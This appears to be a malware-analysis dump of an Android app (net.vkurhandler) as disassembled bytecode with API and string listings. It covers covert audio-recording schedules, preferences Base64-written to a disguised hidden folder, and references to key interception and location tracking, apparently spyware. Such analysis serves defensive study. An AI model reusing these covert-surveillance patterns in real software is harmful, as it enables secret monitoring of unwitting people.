                    • android.text.TextUtils.isEmpty
                    • org.json.JSONObject.<init>
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.h:Landroid/widget/TextView
                    • org.json.JSONObject.getString
                    • android.widget.TextView.setText
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.i:Landroid/widget/TextView
                    • org.json.JSONObject.getString
                    • android.widget.TextView.setText
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.j:Landroid/widget/TextView
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.widget.TextView.setText
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.k:Landroid/widget/TextView
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.widget.TextView.setText
                    • net.vkurhandler.AudiorecordEnvironmentScheduleActivity.a
                    Strings
                    • arecord_schedule_mode
                    • arecord_schedule_when
                    • datetime_begin
                    • datetime_end
                    • %02d:%02d
                    • hour_begin
                    • minute_begin
                    • hour_end
                    • minute_end
                    • AudiorecordEnvironmentScheduleActivity
                    Position Instruction Meta Information
                    0const/4 v5, 0x2
                    1const/4 v4, 0x1
                    2const/4 v2, 0x0
                    4invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
                    5const v0, 0x7f030004
                    7invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->setContentView(I)V
                    9invoke-virtual {p0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->getApplicationContext()Landroid/content/Context;
                    10move-result-object v0
                    12invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    13move-result-object v0
                    15invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    16move-result-object v0
                    17iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->c:Landroid/content/SharedPreferences;
                    18const v0, 0x7f0a0010
                    20invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    21move-result-object v0
                    22check-cast v0, Landroid/widget/Spinner;
                    23iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->b:Landroid/widget/Spinner;
                    24const v0, 0x7f0a0011
                    26invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    27move-result-object v0
                    28check-cast v0, Landroid/widget/LinearLayout;
                    29iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->e:Landroid/widget/LinearLayout;
                    30const v0, 0x7f0a0016
                    32invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    33move-result-object v0
                    34check-cast v0, Landroid/widget/LinearLayout;
                    35iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->f:Landroid/widget/LinearLayout;
                    36const v0, 0x7f0a0019
                    38invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    39move-result-object v0
                    40check-cast v0, Landroid/widget/LinearLayout;
                    41iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->g:Landroid/widget/LinearLayout;
                    43iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->b:Landroid/widget/Spinner;
                    45invoke-virtual {v0, p0}, Landroid/widget/Spinner;->setOnItemSelectedListener(Landroid/widget/AdapterView$OnItemSelectedListener;)V
                    47iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->c:Landroid/content/SharedPreferences;
                    49const-string v1, "arecord_schedule_mode"
                    51invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    52move-result v1
                    54iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->b:Landroid/widget/Spinner;
                    56invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    57new-instance v0, Lnet/vkurhandler/ap;
                    59invoke-direct {v0, p0, p0}, Lnet/vkurhandler/ap;-><init>(Landroid/app/Activity;Lnet/vkurhandler/ar;)V
                    60iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->a:Lnet/vkurhandler/ap;
                    61const v0, 0x7f0a0013
                    63invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    64move-result-object v0
                    65check-cast v0, Landroid/widget/TextView;
                    66iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->h:Landroid/widget/TextView;
                    67const v0, 0x7f0a0015
                    69invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    70move-result-object v0
                    71check-cast v0, Landroid/widget/TextView;
                    72iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->i:Landroid/widget/TextView;
                    73const v0, 0x7f0a0017
                    75invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    76move-result-object v0
                    77check-cast v0, Landroid/widget/TextView;
                    78iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->j:Landroid/widget/TextView;
                    79const v0, 0x7f0a0018
                    81invoke-virtual {p0, v0}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->findViewById(I)Landroid/view/View;
                    82move-result-object v0
                    83check-cast v0, Landroid/widget/TextView;
                    84iput-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->k:Landroid/widget/TextView;
                    86iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->c:Landroid/content/SharedPreferences;
                    88const-string v2, "arecord_schedule_when"
                    89const/4 v3, 0x0
                    91invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    92move-result-object v0
                    93try_start_94:
                    94invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    95move-result v2
                    96if-nez v2, :cond_b7
                    97new-instance v2, Lorg/json/JSONObject;
                    99invoke-direct {v2, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    100if-ne v1, v5, :cond_b8
                    102iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->h:Landroid/widget/TextView;
                    104const-string v1, "datetime_begin"
                    106invoke-virtual {v2, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    107move-result-object v1
                    109invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    111iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->i:Landroid/widget/TextView;
                    113const-string v1, "datetime_end"
                    115invoke-virtual {v2, v1}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    116move-result-object v1
                    118invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    119cond_b7: return-void
                    120cond_b8: if-ne v1, v4, :cond_112
                    122iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->j:Landroid/widget/TextView;
                    124const-string v1, "%02d:%02d"
                    125const/4 v3, 0x2
                    126new-array v3, v3, [Ljava/lang/Object;
                    127const/4 v4, 0x0
                    129const-string v5, "hour_begin"
                    131invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    132move-result v5
                    134invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    135move-result-object v5
                    136aput-object v5, v3, v4
                    137const/4 v4, 0x1
                    139const-string v5, "minute_begin"
                    141invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    142move-result v5
                    144invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    145move-result-object v5
                    146aput-object v5, v3, v4
                    148invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    149move-result-object v1
                    151invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    153iget-object v0, p0, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->k:Landroid/widget/TextView;
                    155const-string v1, "%02d:%02d"
                    156const/4 v3, 0x2
                    157new-array v3, v3, [Ljava/lang/Object;
                    158const/4 v4, 0x0
                    160const-string v5, "hour_end"
                    162invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    163move-result v5
                    165invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    166move-result-object v5
                    167aput-object v5, v3, v4
                    168const/4 v4, 0x1
                    170const-string v5, "minute_end"
                    172invoke-virtual {v2, v5}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    173move-result v2
                    175invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    176move-result-object v2
                    177aput-object v2, v3, v4
                    179invoke-static {v1, v3}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    180move-result-object v1
                    182invoke-virtual {v0, v1}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    183try_end_10a: goto/16 :goto_b7
                    184catch_10b: move-exception v0
                    186const-string v1, "AudiorecordEnvironmentScheduleActivity"
                    188invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    189goto/16 :goto_b7
                    190cond_112: const/4 v0, 0x3
                    191if-ne v1, v0, :cond_b7
                    192try_start_115:
                    193invoke-direct {p0, v2}, Lnet/vkurhandler/AudiorecordEnvironmentScheduleActivity;->a(Lorg/json/JSONObject;)V
                    194try_end_118: goto/16 :goto_b7
                    Cross References
                    APIs
                    • android.content.SharedPreferences.getAll
                    • java.util.Map.entrySet
                    • java.util.Set.iterator
                    • java.lang.Boolean.booleanValue
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.FileOutputStream.<init>
                    • java.util.Iterator.hasNext
                    • java.io.FileOutputStream.flush
                    • java.io.FileOutputStream.close
                    • java.util.Iterator.next
                    • java.util.Map$Entry.getValue
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.String.replace
                    • java.lang.StringBuilder.<init>
                    • java.util.Map$Entry.getKey
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • android.util.Base64.encode
                    • java.lang.String.<init>
                    • java.lang.String.valueOf
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • java.io.FileOutputStream.write
                    Strings
                    • .system_android/.data/.system_temp
                    • reptilicus
                    • pref.cfg
                    • Utils
                    • java.lang.
                    • ~
                    • \n
                    Position Instruction Meta Information
                    1invoke-static {}, Lnet/vkurhandler/gn;->c()Z
                    2move-result v0
                    3if-nez v0, :cond_7
                    4goto_6: return-void
                    5try_start_7:
                    6invoke-interface {p0}, Landroid/content/SharedPreferences;->getAll()Ljava/util/Map;
                    7move-result-object v0
                    9invoke-interface {v0}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                    10move-result-object v0
                    12invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    13move-result-object v1
                    15const-string v0, ".system_android/.data/.system_temp"
                    17sget-object v2, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    19invoke-virtual {v2}, Ljava/lang/Boolean;->booleanValue()Z
                    20move-result v2
                    21if-eqz v2, :cond_1f
                    23const-string v0, "reptilicus"
                    24cond_1f: new-instance v2, Ljava/io/File;
                    25new-instance v3, Ljava/lang/StringBuilder;
                    27invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    29invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    30move-result-object v4
                    32invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    33move-result-object v3
                    35sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    37invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    38move-result-object v3
                    40invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    41move-result-object v0
                    43sget-object v3, Ljava/io/File;->separator:Ljava/lang/String;
                    45invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    46move-result-object v0
                    48const-string v3, "pref.cfg"
                    50invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    51move-result-object v0
                    53invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    54move-result-object v0
                    56invoke-direct {v2, v0}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    57new-instance v3, Ljava/io/FileOutputStream;
                    59invoke-direct {v3, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                    60cond_50:
                    61invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    62move-result v0
                    63if-nez v0, :cond_64
                    65invoke-virtual {v3}, Ljava/io/FileOutputStream;->flush()V
                    67invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V
                    68try_end_5c: goto/16 :goto_6
                    69catch_5d: move-exception v0
                    71const-string v1, "Utils"
                    73invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    74goto/16 :goto_6
                    75cond_64:
                    76invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    77move-result-object v0
                    78check-cast v0, Ljava/util/Map$Entry;
                    80invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    81move-result-object v2
                    82if-eqz v2, :cond_50
                    84invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    85move-result-object v4
                    87invoke-virtual {v4}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    88move-result-object v4
                    90const-string v5, "java.lang."
                    92const-string v6, ""
                    94invoke-virtual {v4, v5, v6}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                    95move-result-object v4
                    96new-instance v5, Ljava/lang/StringBuilder;
                    98invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                    100invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    101move-result-object v0
                    103invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    105const-string v0, "~"
                    107invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    109invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    111const-string v0, "~"
                    113invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    115invoke-virtual {v5, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    116new-instance v0, Ljava/lang/String;
                    118invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    119move-result-object v2
                    121invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
                    122move-result-object v2
                    123const/4 v4, 0x2
                    125invoke-static {v2, v4}, Landroid/util/Base64;->encode([BI)[B
                    126move-result-object v2
                    128invoke-direct {v0, v2}, Ljava/lang/String;-><init>([B)V
                    129new-instance v2, Ljava/lang/StringBuilder;
                    131invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
                    132move-result-object v0
                    134invoke-direct {v2, v0}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    136const-string v0, "\n"
                    138invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    139move-result-object v0
                    141invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    142move-result-object v0
                    144invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    145move-result-object v0
                    147invoke-virtual {v3, v0}, Ljava/io/FileOutputStream;->write([B)V
                    148try_end_c8: goto/16 :goto_50
                    APIs
                    • net.vkurhandler.EnterActivity.a
                    • net.vkurhandler.EnterActivity.a
                    • android.app.ProgressDialog.isShowing
                    • net.vkurhandler.EnterActivity.a
                    • android.app.ProgressDialog.dismiss
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • net.vkurhandler.EnterActivity.b
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.EnterActivity.getApplicationContext
                    • net.vkurhandler.EnterActivity.getApplicationContext
                    • android.content.Intent.<init>
                    • net.vkurhandler.EnterActivity.startActivity
                    • net.vkurhandler.EnterActivity.finish
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • net.vkurhandler.EnterActivity.getApplicationContext
                    • net.vkurhandler.EnterActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • net.vkurhandler.EnterActivity.getApplicationContext
                    • net.vkurhandler.EnterActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.getString
                    • java.lang.String.equals
                    • net.vkurhandler.EnterActivity.getApplicationContext
                    • net.vkurhandler.EnterActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    • org.json.JSONObject.getString
                    • net.vkurhandler.EnterActivity.getApplicationContext
                    • net.vkurhandler.EnterActivity.getString
                    • android.widget.Toast.makeText
                    • android.widget.Toast.show
                    Strings
                    • EnterActivity
                    • response
                    • success
                    • success_gcm_key
                    • auth_invalid
                    • error
                    • incorrect_device_id
                    • error:
                    Position Instruction Meta Information
                    0const/4 v5, 0x1
                    2iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    4invoke-static {v0}, Lnet/vkurhandler/EnterActivity;->a(Lnet/vkurhandler/EnterActivity;)Landroid/app/ProgressDialog;
                    5move-result-object v0
                    6if-eqz v0, :cond_1e
                    8iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    10invoke-static {v0}, Lnet/vkurhandler/EnterActivity;->a(Lnet/vkurhandler/EnterActivity;)Landroid/app/ProgressDialog;
                    11move-result-object v0
                    13invoke-virtual {v0}, Landroid/app/ProgressDialog;->isShowing()Z
                    14move-result v0
                    15if-eqz v0, :cond_1e
                    17iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    19invoke-static {v0}, Lnet/vkurhandler/EnterActivity;->a(Lnet/vkurhandler/EnterActivity;)Landroid/app/ProgressDialog;
                    20move-result-object v0
                    22invoke-virtual {v0}, Landroid/app/ProgressDialog;->dismiss()V
                    23cond_1e: new-instance v0, Ljava/lang/String;
                    25invoke-direct {v0, p3}, Ljava/lang/String;-><init>([B)V
                    27invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    28move-result v1
                    29if-eqz v1, :cond_2e
                    31const-string v1, "EnterActivity"
                    33invoke-static {v1, v0}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    34cond_2e: new-instance v1, Lorg/json/JSONObject;
                    36invoke-direct {v1, v0}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    38const-string v0, "response"
                    40invoke-virtual {v1, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    41move-result-object v0
                    43const-string v1, "success"
                    45invoke-virtual {v0, v1}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    46move-result v1
                    47if-eqz v1, :cond_71
                    49iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    51invoke-static {v0}, Lnet/vkurhandler/EnterActivity;->b(Lnet/vkurhandler/EnterActivity;)Landroid/content/SharedPreferences;
                    52move-result-object v0
                    54const-string v1, "success_gcm_key"
                    55const/4 v2, 0x0
                    57invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    58move-result v0
                    59if-nez v0, :cond_59
                    61iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    63invoke-virtual {v0}, Lnet/vkurhandler/EnterActivity;->getApplicationContext()Landroid/content/Context;
                    64move-result-object v0
                    66invoke-static {v0}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;)V
                    67cond_59:
                    68iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    69new-instance v1, Landroid/content/Intent;
                    71iget-object v2, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    73invoke-virtual {v2}, Lnet/vkurhandler/EnterActivity;->getApplicationContext()Landroid/content/Context;
                    74move-result-object v2
                    75const-class v3, Lnet/vkurhandler/SettingsActivity;
                    77invoke-direct {v1, v2, v3}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
                    79invoke-virtual {v0, v1}, Lnet/vkurhandler/EnterActivity;->startActivity(Landroid/content/Intent;)V
                    81iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    83invoke-virtual {v0}, Lnet/vkurhandler/EnterActivity;->finish()V
                    84goto_70: return-void
                    85cond_71:
                    86const-string v1, "auth_invalid"
                    88const-string v2, "error"
                    90invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    91move-result-object v2
                    93invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    94move-result v1
                    95if-eqz v1, :cond_b4
                    97iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    99invoke-virtual {v0}, Lnet/vkurhandler/EnterActivity;->getApplicationContext()Landroid/content/Context;
                    100move-result-object v0
                    102iget-object v1, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    103const v2, 0x7f0600b8
                    105invoke-virtual {v1, v2}, Lnet/vkurhandler/EnterActivity;->getString(I)Ljava/lang/String;
                    106move-result-object v1
                    107const/4 v2, 0x1
                    109invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    110move-result-object v0
                    112invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    113try_end_96: goto/16 :goto_70
                    114catch_97: move-exception v0
                    116const-string v1, "EnterActivity"
                    118invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    120iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    122invoke-virtual {v0}, Lnet/vkurhandler/EnterActivity;->getApplicationContext()Landroid/content/Context;
                    123move-result-object v0
                    125iget-object v1, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    126const v2, 0x7f06000f
                    128invoke-virtual {v1, v2}, Lnet/vkurhandler/EnterActivity;->getString(I)Ljava/lang/String;
                    129move-result-object v1
                    131invoke-static {v0, v1, v5}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    132move-result-object v0
                    134invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    135goto/16 :goto_70
                    136try_start_b4:
                    137const-string v1, "incorrect_device_id"
                    139const-string v2, "error"
                    141invoke-virtual {v0, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    142move-result-object v2
                    144invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    145move-result v1
                    146if-eqz v1, :cond_da
                    148iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    150invoke-virtual {v0}, Lnet/vkurhandler/EnterActivity;->getApplicationContext()Landroid/content/Context;
                    151move-result-object v0
                    153iget-object v1, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    154const v2, 0x7f060012
                    156invoke-virtual {v1, v2}, Lnet/vkurhandler/EnterActivity;->getString(I)Ljava/lang/String;
                    157move-result-object v1
                    158const/4 v2, 0x1
                    160invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    161move-result-object v0
                    163invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    164goto/16 :goto_70
                    165cond_da:
                    166invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    167move-result v1
                    168if-eqz v1, :cond_f6
                    170const-string v1, "EnterActivity"
                    171const/4 v2, 0x2
                    172new-array v2, v2, [Ljava/lang/String;
                    173const/4 v3, 0x0
                    175const-string v4, "error:"
                    176aput-object v4, v2, v3
                    177const/4 v3, 0x1
                    179const-string v4, "error"
                    181invoke-virtual {v0, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    182move-result-object v0
                    183aput-object v0, v2, v3
                    185invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    186cond_f6:
                    187iget-object v0, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    189invoke-virtual {v0}, Lnet/vkurhandler/EnterActivity;->getApplicationContext()Landroid/content/Context;
                    190move-result-object v0
                    192iget-object v1, p0, Lnet/vkurhandler/aw;->a:Lnet/vkurhandler/EnterActivity;
                    193const v2, 0x7f060011
                    195invoke-virtual {v1, v2}, Lnet/vkurhandler/EnterActivity;->getString(I)Ljava/lang/String;
                    196move-result-object v1
                    197const/4 v2, 0x1
                    199invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
                    200move-result-object v0
                    202invoke-virtual {v0}, Landroid/widget/Toast;->show()V
                    203try_end_10d: goto/16 :goto_70
                    Cross References
                    APIs
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.KeysInterceptor.a
                    • net.vkurhandler.MyApp.x:Lnet/vkurhandler/v
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • net.vkurhandler.MyApp.x:Lnet/vkurhandler/v
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • net.vkurhandler.MyApp.x:Lnet/vkurhandler/v
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getString
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.LocationNotifier.a
                    • net.vkurhandler.MyApp.getApplicationContext
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.y:Lnet/vkurhandler/ee
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.MyApp.A:Lnet/vkurhandler/cg
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.u:Lnet/vkurhandler/cx
                    • net.vkurhandler.MyApp.g:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.v:Lnet/vkurhandler/n
                    • java.lang.Boolean.booleanValue
